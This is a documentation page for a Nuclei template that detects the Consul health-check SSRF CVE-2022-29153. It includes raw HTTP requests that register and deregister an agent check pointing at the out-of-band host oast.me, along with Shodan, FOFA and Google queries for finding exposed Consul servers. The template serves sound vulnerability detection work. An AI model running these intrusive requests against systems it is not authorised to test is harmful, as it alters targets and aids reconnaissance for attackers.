Skip to content
Nuclei Templates

HashiCorp Consul/Consul Enterprise - Server-Side Request Forgery

ID: CVE-2022-29153

Severity: high

Author: c-sh0

Tags: cve,cve2022,consul,hashicorp,ssrf,intrusive

Description

Section titled “Description”

HashiCorp Consul and Consul Enterprise up to 1.9.16, 1.10.9, and 1.11 are susceptible to server-side request forgery. When redirects are returned by HTTP health check endpoints, Consul follows these HTTP redirects by default. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2022-29153


info:
  name: HashiCorp Consul/Consul Enterprise - Server-Side Request Forgery
  author: c-sh0
  severity: high
  description: |
    HashiCorp Consul and Consul Enterprise up to 1.9.16, 1.10.9, and 1.11 are susceptible to server-side request forgery. When redirects are returned by HTTP health check endpoints, Consul follows these HTTP redirects by default. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send crafted requests to internal resources, leading to unauthorized access or information disclosure.
  remediation: 1) HTTP + interval health check configuration provides a disable_redirects option to prohibit this behavior. 2) Fixed in 1.9.17, 1.10.10, and 1.11.5.
  reference:
    - https://discuss.hashicorp.com/t/hcsec-2022-10-consul-s-http-health-check-may-allow-server-side-request-forgery/38393
    - https://github.com/hashicorp/consul/pull/12685
    - https://developer.hashicorp.com/consul/docs/discovery/checks
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29153
    - https://discuss.hashicorp.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-29153
    cwe-id: CWE-918
    epss-score: 0.02376
    epss-percentile: 0.89839
    cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: hashicorp
    product: consul
    shodan-query:
      - title:"Consul by HashiCorp"
      - http.title:"consul by hashicorp"
      - cpe:"cpe:2.3:a:hashicorp:consul"
    fofa-query: title="consul by hashicorp"
    google-query: intitle:"consul by hashicorp"
  tags: cve,cve2022,consul,hashicorp,ssrf,intrusive


http:
  - raw:
      - | # register safe test node
        PUT /v1/agent/check/register HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {"id":"{{randstr}}","name":"TEST NODE","method":"GET","http":"http://oast.me","interval":"10s","timeout":"1s","disable_redirects":true}
      - | # deregister test node
        PUT /v1/agent/check/deregister/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - unknown field "disable_redirects"


      - type: status
        status:
          - 400
# digest: 4a0a004730450220099d83c5af1a456b6c48ee60565506fe38332faf53a7b48217eb336005aa7cd5022100f47b11603823d8a01ea611d3fa9c97d9941bf082b15bd20338955e5012c6c04f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-29153.yaml"

View on Github